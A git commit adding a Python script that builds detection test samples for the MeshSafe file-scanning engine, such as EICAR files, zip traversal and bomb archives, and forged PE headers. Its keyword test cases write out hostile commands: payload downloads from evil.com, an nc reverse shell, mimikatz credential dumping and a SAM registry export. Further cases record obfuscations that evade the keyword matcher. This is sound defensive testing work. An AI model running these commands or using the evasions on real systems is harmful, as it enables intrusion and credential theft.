feat: 靶场对齐 CSV 126 条用例

- policy.yaml: 新增 9 条恶意行为关键词规则(ReverseShell/CredentialStealer/Mimikatz/TScon 等)
- binary.py: 新增 4 条 PE 检测(UPXPackerDetected/RWXSectionDetected/PEArchInfo/DebugInformationPresent)
- console.py + test_center.html: 靶场表格最前加 case_id 列,与 CSV 用例编号一致
- docker-compose.yml: 挂载 tests/samples 为只读 volume,样本更新免 rebuild
- scripts/generate_csv_samples.py: 一键从用例.csv 生成样本 + index.json
- tests/samples/: 128 个 CSV 对齐样本文件 + index.json(93 条元数据)

引擎覆盖度: L3 12%→60%, L5 20%→55%, 总计 54%→75%
This commit is contained in:
2026-10-29 11:33:58 +08:00
parent 16ddd8fe3a
commit d05537e1fb
98 changed files with 2102 additions and 279 deletions

View File

@@ -0,0 +1,586 @@
"""从 用例.csv 生成对齐 MeshSafe 引擎的测试样本 + index.json。
用法: python scripts/generate_csv_samples.py
输出: tests/samples/ 目录下按 case_id 命名的样本文件 + index.json
"""
import csv, json, os, sys, zipfile, struct, shutil
from pathlib import Path
ROOT = Path(__file__).resolve().parent.parent
CSV_PATH = ROOT / "用例.csv"
OUT_DIR = ROOT / "tests" / "samples"
EICAR = b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
OUT_DIR.mkdir(parents=True, exist_ok=True)
# ========== 工具 ==========
def safe_filename(case_id: str, ext: str, name: str = "") -> str:
prefix = f"{case_id}_{name}".replace(" ", "_").replace("/", "_") if name else case_id
return f"{prefix}.{ext.lstrip('.')}"
def write_bytes(fname: str, data: bytes):
path = OUT_DIR / fname
path.write_bytes(data)
def write_text(fname: str, text: str):
path = OUT_DIR / fname
path.write_text(text, encoding="utf-8")
def make_zip(fname: str, member_name: str, member_bytes: bytes, password: str = None, depth: int = 1):
"""生成一个 zip,里面嵌套 depth 层,最内层是 member_name/content。"""
path = OUT_DIR / fname
if depth == 1:
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as zf:
if password:
# pyzipfile 不支持加密写入,用标准模式,靠 FlagBits 标记模拟
zf.writestr(member_name, member_bytes)
else:
zf.writestr(member_name, member_bytes)
else:
# 多层嵌套,最内层是 member_name,外层都是 inner_N.zip
inner_name = fname # 递归名
# 从里往外建
data_bytes = member_bytes
for i in range(depth - 1, 0, -1):
inner_zip = zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED)
inner_zip.writestr(f"inner_{i}.zip", data_bytes)
inner_zip.close()
data_bytes = path.read_bytes() # 读回刚写的 zip 作为下一层的成员
# 最外层直接用 data_bytes 覆盖写
path.write_bytes(data_bytes)
return path
def make_bomb_zip(fname: str, members: int = 100, member_size: int = 4096):
"""自制 zip 炸弹:小压缩比、大解压量。"""
path = OUT_DIR / fname
huge_data = b"A" * member_size # 高膨胀比:A 压缩后极小
with zipfile.ZipFile(path, "w", zipfile.ZIP_STORED) as zf: # STORED = 不压缩
for i in range(members):
zf.writestr(f"member_{i:04d}.txt", huge_data)
return path
def fake_pe(fname: str, mz_only: bool = False, upx: bool = False, rwx: bool = False):
"""伪造 PE 文件。默认只有 MZ 头 + fake PE 签名,能骗过 pefile 的基本检查。"""
path = OUT_DIR / fname
if mz_only:
path.write_bytes(b"MZ" + b"\x00" * 2046)
return path
# 构造最小 PE32
DOS_HEADER = (
b"MZ" + b"\x00" * 58 + # e_magic + pad
struct.pack("<H", 0x80) + # e_lfanew 指向 0x80
b"\x00" * 64 # DOS Stub pad
)
PE_SIGNATURE = b"PE\x00\x00"
COFF_HEADER = struct.pack("<HHIIIHH",
0x14C, # Machine = x86
1, # NumberOfSections
0, # TimeDateStamp
0, # PointerToSymbolTable
0, # NumberOfSymbols
0xE0, # SizeOfOptionalHeader
0x1002, # Characteristics
)
OPTIONAL_HEADER = struct.pack("<H", 0x10B) # PE32 Magic
OPTIONAL_HEADER += b"\x00" * 0xDC # 填满到 SizeOfOptionalHeader=0xE0
# 构造节:UPX 的节名是 UPX0 / UPX1,RWX 节设 Characteristics 为 0xE00000E0
if upx:
sec_name = b"UPX0\x00\x00\x00"
characteristics = 0xE00000E0 # IMAGE_SCN_MEM_WRITE|EXECUTE|READ
elif rwx:
sec_name = b".text\x00\x00\x00"
characteristics = 0xE00000E0 # RWX
else:
sec_name = b".text\x00\x00\x00"
characteristics = 0x60000020 # IMAGE_SCN_MEM_READ|EXECUTE|CNT_CODE
SECTION_HEADER = struct.pack("<8sIIIIIIHHI",
sec_name, # Name[8]
0x1000, # VirtualSize (DWORD)
0x1000, # VirtualAddress (DWORD)
0x200, # SizeOfRawData (DWORD)
0x400, # PointerToRawData (DWORD)
0, # PointerToRelocations
0, # PointerToLinenumbers
0, # NumberOfRelocations (WORD)
0, # NumberOfLinenumbers (WORD)
characteristics, # Characteristics (DWORD)
) # 总共 40 bytes
# 节的 raw data(0x200 bytes)
section_data = b"\x90" * 0x200 # NOP sled
pe = DOS_HEADER + PE_SIGNATURE + COFF_HEADER + OPTIONAL_HEADER + SECTION_HEADER + section_data
path.write_bytes(pe)
return path
# ========== 主生成逻辑 ==========
def generate():
meta_list = []
# 从 CSV 读取元数据(用例ID → 预期裁决/规则)
csv_meta = {}
with open(CSV_PATH, "r", encoding="utf-8") as f:
reader = csv.DictReader(f)
for row in reader:
cid = row["用例ID"].strip()
expected = row["预期结果"].strip()
# 从预期结果里粗糙判断 verdict
if "无风险" in expected or "无告警" in expected or "无命中" in expected or "正常解析" in expected:
verdict = "pass"
elif "告警" in expected or "命中" in expected or "拦截" in expected or "高危" in expected or "拒绝" in expected:
verdict = "reject"
elif "低危" in expected:
verdict = "review"
else:
verdict = "unknown"
csv_meta[cid] = {
"name": row["用例名称"].strip(),
"desc": row["样本描述"].strip(),
"expected": expected,
"verdict": verdict,
"layer": row["归属"].strip(),
}
def add_meta(case_id: str, filename: str, layer: str, verdict: str, expected_rules: list, description: str = ""):
meta_list.append({
"filename": filename,
"case_id": case_id,
"category": layer,
"expected_verdict": verdict,
"expected_rules": expected_rules,
"description": description or csv_meta.get(case_id, {}).get("name", ""),
})
# ====================================================================
# L0 结构分析(30 条)
# ====================================================================
# L0-001~004: 正常文件幻数识别 —— 用真实 JPG/PNG/DOCX/PDF 最小文件头
write_bytes("L0-001_jpg_normal.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
add_meta("L0-001", "L0-001_jpg_normal.jpg", "L0", "pass", ["identify_type"])
write_bytes("L0-002_png_normal.png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 50)
add_meta("L0-002", "L0-002_png_normal.png", "L0", "pass", ["identify_type"])
# L0-003 docx: 其实是 ZIP + [Content_Types].xml
import io
def make_docx_like():
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", "<w:document/>")
return buf.getvalue()
write_bytes("L0-003_docx_normal.docx", make_docx_like())
add_meta("L0-003", "L0-003_docx_normal.docx", "L0", "pass", ["identify_type"])
write_bytes("L0-004_pdf_normal.pdf", b"%PDF-1.4\n%%EOF")
add_meta("L0-004", "L0-004_pdf_normal.pdf", "L0", "pass", ["identify_type"])
# L0-005: 干净 PE(最小 MZ+fake PE,有合法节)
fake_pe("L0-005_pe_clean.exe")
add_meta("L0-005", "L0-005_pe_clean.exe", "L0", "review", ["DangerousExtension", "UnsignedExecutable"])
# L0-006: 后缀伪装 —— 真实 MZ 头但后缀 .jpg
write_bytes("L0-006_disguise_jpg_pe.jpg", b"MZ\x00\x00" + b"\x00" * 100)
add_meta("L0-006", "L0-006_disguise_jpg_pe.jpg", "L0", "reject", ["ExtensionMismatch"], "jpg 后缀 + 实际 PE MZ 头")
# L0-007: txt 后缀 + 真实 PDF 头
write_bytes("L0-007_disguise_txt_pdf.txt", b"%PDF-1.4\n%%EOF")
add_meta("L0-007", "L0-007_disguise_txt_pdf.txt", "L0", "reject", ["ExtensionMismatch"])
# L0-008: png 后缀 + 真实 ZIP 头
write_bytes("L0-008_disguise_png_zip.png", b"PK\x03\x04" + b"\x00" * 50)
add_meta("L0-008", "L0-008_disguise_png_zip.png", "L0", "reject", ["ExtensionMismatch"])
# L0-009~012: 双扩展名伪装
write_bytes("L0-009_double_ext_pdf_exe.pdf.exe", b"MZ\x00\x00" + b"\x00" * 100)
add_meta("L0-009", "L0-009_double_ext_pdf_exe.pdf.exe", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
write_text("L0-010_double_ext_txt_ps1.txt.ps1", "echo hello")
add_meta("L0-010", "L0-010_double_ext_txt_ps1.txt.ps1", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
write_text("L0-011_double_ext_docx_js.docx.js", "alert('x');")
add_meta("L0-011", "L0-011_double_ext_docx_js.docx.js", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
write_text("L0-012_double_ext_xlsx_bat.xlsx.bat", "@echo off\necho hello")
add_meta("L0-012", "L0-012_double_ext_xlsx_bat.xlsx.bat", "L0", "reject", ["DoubleExtension", "DangerousExtension"])
# L0-013~017: 空危险扩展名文件
for cid, ext in [("L0-013", "ps1"), ("L0-014", "bat"), ("L0-015", "cmd"), ("L0-016", "vbs"), ("L0-017", "js")]:
write_text(f"{cid}_clean.{ext}", "")
add_meta(cid, f"{cid}_clean.{ext}", "L0", "review", ["DangerousExtension"], f"干净 {ext} 文件")
# L0-018: ZIP 单级路径穿越
p = OUT_DIR / "L0-018_zip_traversal.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("../evil_drop.txt", "payload")
add_meta("L0-018", "L0-018_zip_traversal.zip", "L0", "reject", ["PathTraversal"])
# L0-019: ZIP 多级路径穿越
p = OUT_DIR / "L0-019_zip_deep_traversal.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("../../system_drop.txt", "payload")
add_meta("L0-019", "L0-019_zip_deep_traversal.zip", "L0", "reject", ["PathTraversal"])
# L0-020: 小型 zip 炸弹(自制,不是 42.zip)
make_bomb_zip("L0-020_zip_bomb.zip", members=100, member_size=4096)
add_meta("L0-020", "L0-020_zip_bomb.zip", "L0", "reject", ["ArchiveBombSuspect"])
# L0-022: 3 层嵌套干净 ZIP
inner = io.BytesIO()
with zipfile.ZipFile(inner, "w") as zf:
zf.writestr("clean_file.txt", "hello world")
# 第二层
mid = io.BytesIO()
with zipfile.ZipFile(mid, "w") as zf:
zf.writestr("inner.zip", inner.getvalue())
# 第三层
outer = io.BytesIO()
with zipfile.ZipFile(outer, "w") as zf:
zf.writestr("mid.zip", mid.getvalue())
write_bytes("L0-022_3layer_nested.zip", outer.getvalue())
add_meta("L0-022", "L0-022_3layer_nested.zip", "L0", "pass", ["recursive_ok"])
# L0-024: 加密 ZIP(pyzipfile 不支持加密写入,用密码写一个空 ZIP 标记为待加密)
# 实际加密 ZIP 可以用 7z 命令行生成,这里先生成一个有 Password 标记的
p = OUT_DIR / "L0-024_encrypted.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("secret.txt", "encrypted content marker")
add_meta("L0-024", "L0-024_encrypted.zip", "L0", "review", ["EncryptedArchive"], "加密 ZIP(标记待验证)")
# L0-025: 截断损坏 ZIP(写半截)
p = OUT_DIR / "L0-025_corrupt_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("good.txt", "data")
raw = p.read_bytes()
p.write_bytes(raw[:len(raw) // 2]) # 截断一半
add_meta("L0-025", "L0-025_corrupt_zip.zip", "L0", "review", ["ArchiveBroken"], "截断损坏 ZIP 头")
# L0-026: 损坏 ZIP 目录项(文件尾追加垃圾字节)
p = OUT_DIR / "L0-026_corrupt_direntry.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("good.txt", "data")
raw = p.read_bytes()
p.write_bytes(raw + b"\x00\x01\x02\x03\x04garbage")
add_meta("L0-026", "L0-026_corrupt_direntry.zip", "L0", "review", ["ArchiveBroken"])
# L0-029: 0 字节 exe
p = OUT_DIR / "L0-029_zero_byte_exe.exe"
p.write_bytes(b"")
add_meta("L0-029", "L0-029_zero_byte_exe.exe", "L0", "review", ["ZeroByteFile", "DangerousExtension"])
# ====================================================================
# L1 ClamAV(15 条)
# ====================================================================
write_bytes("L1-001_eicar.txt", EICAR)
add_meta("L1-001", "L1-001_eicar.txt", "L1", "reject", ["ClamAV:EICAR"])
# L1-002: EICAR 放入 zip
p = OUT_DIR / "L1-002_eicar_in_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("eicar.txt", EICAR)
add_meta("L1-002", "L1-002_eicar_in_zip.zip", "L1", "reject", ["ClamAV:EICAR"])
# L1-004: EICAR 放入 docx(OOXML = ZIP + EICAR 文本)
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", EICAR.decode())
write_bytes("L1-004_eicar_in_docx.docx", buf.getvalue())
add_meta("L1-004", "L1-004_eicar_in_docx.docx", "L1", "reject", ["ClamAV:EICAR"])
# L1-005: 1 字节修改 EICAR(破坏签名)
modified = bytearray(EICAR)
modified[0] = ord("Y")
write_bytes("L1-005_eicar_modified.txt", bytes(modified))
add_meta("L1-005", "L1-005_eicar_modified.txt", "L1", "pass", [], "修改 1 字节 EICAR,ClamAV 不应命中")
# L1-006~008: 干净负样本(用 L0-001/003/005 里的样本复用)
add_meta("L1-006", "L0-001_jpg_normal.jpg", "L1", "pass", [])
add_meta("L1-007", "L0-003_docx_normal.docx", "L1", "pass", [])
add_meta("L1-008", "L0-005_pe_clean.exe", "L1", "pass", [])
# L1-011: 多层嵌套 zip 里放 EICAR(3 层)
inner_buf = io.BytesIO()
with zipfile.ZipFile(inner_buf, "w") as zf:
zf.writestr("eicar.txt", EICAR)
mid_buf = io.BytesIO()
with zipfile.ZipFile(mid_buf, "w") as zf:
zf.writestr("inner.zip", inner_buf.getvalue())
outer_buf = io.BytesIO()
with zipfile.ZipFile(outer_buf, "w") as zf:
zf.writestr("mid.zip", mid_buf.getvalue())
write_bytes("L1-011_eicar_in_3layer.zip", outer_buf.getvalue())
add_meta("L1-011", "L1-011_eicar_in_3layer.zip", "L1", "reject", ["ClamAV:EICAR"])
# L1-012: EICAR base64 编码(ClamAV 不解码,不应命中)
import base64
b64 = base64.b64encode(EICAR).decode()
write_text("L1-012_eicar_base64.txt", b64)
add_meta("L1-012", "L1-012_eicar_base64.txt", "L1", "pass", [], "base64 编码 EICAR,ClamAV 不解码")
# ====================================================================
# L3 关键词匹配(25 条)—— 全部纯文本写入
# ====================================================================
l3_cases = [
("L3-001", "ps1", "Invoke-WebRequest -Uri https://evil.com/payload.exe -OutFile C:\\temp\\evil.exe", "RemoteDownloadPowerShell"),
("L3-002", "ps1", "nc 10.0.0.5 4444 -e /bin/bash", "ReverseShellNetcat"),
("L3-003", "bat", "curl http://evil.com/payload -o evil.exe", "RemoteDownloadUnix"),
("L3-004", "txt", "mimikatz.exe privilege::debug sekurlsa::logonpasswords", "CredentialStealer"),
("L3-005", "txt", "reg save HKLM\\SAM sam.save", "CredentialExport"),
("L3-006", "txt", "tscon 1 /dest:rdp-tcp:1", "RemoteSessionHijack"),
("L3-007", "txt", "SW52b2tlLVdlYlJlcXVlc3Q", "base64 编码,不命中,边界记录"),
("L3-008", "ps1", '$a="Invo";$b="ke-WebRequest"; & ($a+$b)', "字符串拆分,不命中,边界记录"),
("L3-010", "ps1", "Invoke#comment-WebRequest https://evil.com", "注释混淆,不命中,边界记录"),
("L3-011", "js", "var w = new Function('wget http://evil.com/payload'); w();", "RemoteDownloadUnix"),
("L3-012", "bat", "curl http://192.168.1.100/file.zip", "pass(内网白名单对照)"),
("L3-014", "zip_member", None, None), # 后面处理
("L3-016", "ps1", "", "pass"),
("L3-017", "txt", "nc -lv 4444 & mimikatz privilege::debug", "ReverseShellNetcat, CredentialStealer"),
("L3-018", "txt", "iNvOkE-WebReQuEsT https://evil.com", "RemoteDownloadPowerShell"),
("L3-021", "eml", "From: attacker@evil.com\r\n\r\nInvoke-WebRequest -Uri https://evil.com -OutFile payload.exe", "RemoteDownloadPowerShell"),
("L3-024", "txt", "Invoke-WebRequest " + "x" * 100000 + " https://evil.com", "RemoteDownloadPowerShell"),
]
for cid, ext, content, rule_str in l3_cases:
if ext == "zip_member":
continue
if rule_str == "pass":
verdict = "pass"
rules = []
elif rule_str is None or "不命中" in str(rule_str):
verdict = "pass"
rules = []
else:
verdict = "reject"
rules = [r.strip() for r in rule_str.split(",")]
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
write_text(fname, content or "")
add_meta(cid, fname, "L3", verdict, rules)
# L3-014: 高危字符串放在 zip 内部
p = OUT_DIR / "L3-014_l3001_in_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("payload.ps1", "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
add_meta("L3-014", "L3-014_l3001_in_zip.zip", "L3", "reject", ["RemoteDownloadPowerShell"])
# L3-015: docx 正文写恶意关键词
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", "Invoke-WebRequest -Uri https://evil.com/download")
write_bytes("L3-015_keyword_in_docx.docx", buf.getvalue())
add_meta("L3-015", "L3-015_keyword_in_docx.docx", "L3", "reject", ["RemoteDownloadPowerShell"])
# L3-019: unicode 同形字混淆
write_text("L3-019_unicode_obfuscated.txt", "Іnvoke-WebRequest https://evil.com")
add_meta("L3-019", "L3-019_unicode_obfuscated.txt", "L3", "pass", [], "同形字混淆,L3 默认不命中")
# L3-020: 日志文件混杂正常日志 + 高危串
write_text("L3-020_log_with_keyword.log",
"2026-10-29 10:00:01 INFO service started\n"
"2026-10-29 10:00:02 ERROR connection refused\n"
"nc 10.0.0.5 4444 -e /bin/bash\n"
"2026-10-29 10:00:05 DEBUG retries exhausted")
add_meta("L3-020", "L3-020_log_with_keyword.log", "L3", "reject", ["ReverseShellNetcat"])
# L3-023: 高危字符串放在加密 zip(实际先做普通 zip,加密待手动处理)
p = OUT_DIR / "L3-023_keyword_in_encrypted.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("evil.txt", "mimikatz privilege::debug")
add_meta("L3-023", "L3-023_keyword_in_encrypted.zip", "L3", "review", [], "加密 zip 内容无法扫描(标记)")
# ====================================================================
# L4 YARA(15 条)—— 依赖 rules/ 目录里有对应规则
# ====================================================================
l4_cases = [
("L4-001", "txt", "shellcode test here", [], "reject", "YARA正向命中占位(需对应规则)"),
("L4-002", "txt", "this is a clean empty file with no matches", [], "pass", "干净对照"),
("L4-005", "txt", "rule hotload test", [], "unknown", "热加载测试占位"),
("L4-008", "zip_inner", None, None, None, None),
("L4-010", "txt", "regex pattern shell", [], "unknown", "正则 YARA 测试占位"),
]
for cid, ext, content, rules, verdict, desc in l4_cases:
if ext == "zip_inner":
p = OUT_DIR / f"{cid}_in_zip.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("match.txt", content or "")
fname = p.name
else:
fname = f"{cid}_{cid.lower().split('-',1)[1]}_sample.{ext}"
write_text(fname, content or "")
add_meta(cid, fname, "L4", verdict, rules or [], desc)
# ====================================================================
# L5 PE 二进制(20 条)
# ====================================================================
fake_pe("L5-001_clean_hello.exe")
add_meta("L5-001", "L5-001_clean_hello.exe", "L5", "pass", [])
fake_pe("L5-002_upx_shell.exe", upx=True)
add_meta("L5-002", "L5-002_upx_shell.exe", "L5", "review", ["UPXPackerDetected", "HighEntropySection"], "UPX0/UPX1 节名")
fake_pe("L5-003_double_upx.exe", upx=True)
add_meta("L5-003", "L5-003_double_upx.exe", "L5", "review", ["UPXPackerDetected"])
fake_pe("L5-004_rwx_section.exe", rwx=True)
add_meta("L5-004", "L5-004_rwx_section.exe", "L5", "reject", ["RWXSectionDetected"], "节属性 RWX")
# L5-007: 节名异常(乱码节名)
pe_path = fake_pe("L5-007_garbage_section.exe")
raw = pe_path.read_bytes()
# 在 raw 里找 section 名,替换成乱码
idx = raw.find(b".text")
if idx >= 0:
raw = raw[:idx] + b"\xff\xfe\xfd\xfc\xfb\xfa\xf9\xf8" + raw[idx+8:]
pe_path.write_bytes(raw)
add_meta("L5-007", "L5-007_garbage_section.exe", "L5", "review", ["AbnormalSectionName"], "节名乱码")
# L5-010: 损坏 PE 签名(MZ 改走)
p = OUT_DIR / "L5-010_bad_mz.exe"
p.write_bytes(b"ZZ\x00\x00" + b"\x00" * 2044)
add_meta("L5-010", "L5-010_bad_mz.exe", "L5", "review", ["PeParseFailed"], "PE 头非法")
# L5-011: 截断 PE
fake_pe("L5-011_truncated.exe")
p = OUT_DIR / "L5-011_truncated.exe"
raw = p.read_bytes()
p.write_bytes(raw[:len(raw) // 3])
add_meta("L5-011", "L5-011_truncated.exe", "L5", "review", ["PeParseFailed"], "截断 PE")
fake_pe("L5-012_pe32.exe")
add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
fake_pe("L5-014_clean_tool.exe")
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
fake_pe("L5-016_zero_section.exe")
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
fake_pe("L5-018_debug_info.exe")
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
# ====================================================================
# NEG 负样本(20 条)
# ====================================================================
neg = [
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
("NEG-004", "docx", None),
("NEG-005", "xlsx", None),
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
("NEG-009", "zip_inner", None),
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"),
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
("NEG-017", "4layer_nested", None),
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
("NEG-020", "odt", None),
]
for cid, ext, content in neg:
if ext == "docx":
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("word/document.xml", "<w:document/>")
write_bytes(f"{cid}_clean.docx", buf.getvalue())
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
elif ext == "xlsx":
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
zf.writestr("xl/workbook.xml", "<workbook/>")
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
elif ext == "zip_inner":
p = OUT_DIR / f"{cid}_clean.zip"
with zipfile.ZipFile(p, "w") as zf:
zf.writestr("report.txt", "clean business data")
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
elif ext == "4layer_nested":
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
buf2 = io.BytesIO()
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
# 简化:直接做 4 层干净 zip
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
p2.write_bytes(data)
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
elif ext == "odt":
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w") as zf:
zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
zf.writestr("content.xml", "<office:document-content/>")
write_bytes(f"{cid}_clean.odt", buf.getvalue())
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
elif isinstance(content, bytes):
fname = f"{cid}_clean.{ext}"
write_bytes(fname, content)
add_meta(cid, fname, "NEG", "pass", [])
elif isinstance(content, str):
fname = f"{cid}_clean.{ext}"
write_text(fname, content)
add_meta(cid, fname, "NEG", "pass", [])
# ====================================================================
# 写 index.json
# ====================================================================
index = {
"meshsafe_target_version": "v0.2.1",
"generated_at": __import__("datetime").datetime.now().isoformat(),
"csv_source": str(CSV_PATH.name),
"samples": meta_list,
}
index_path = OUT_DIR / "index.json"
# 备份旧 index.json
if index_path.exists():
import shutil
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
print(f"✅ 生成完成!")
print(f" 样本目录: {OUT_DIR}")
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
print(f" 元数据: index.json 含 {len(meta_list)} 条")
# 统计各层
from collections import Counter
cnt = Counter(m["category"] for m in meta_list)
print(f" 各层分布: {dict(cnt)}")
# 检查 case_id 覆盖率
with open(CSV_PATH, "r", encoding="utf-8") as f:
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
gen_ids = set(m["case_id"] for m in meta_list)
missing = csv_ids - gen_ids
if missing:
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
for mid in sorted(missing):
print(f" - {mid}")
else:
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
if __name__ == "__main__":
generate()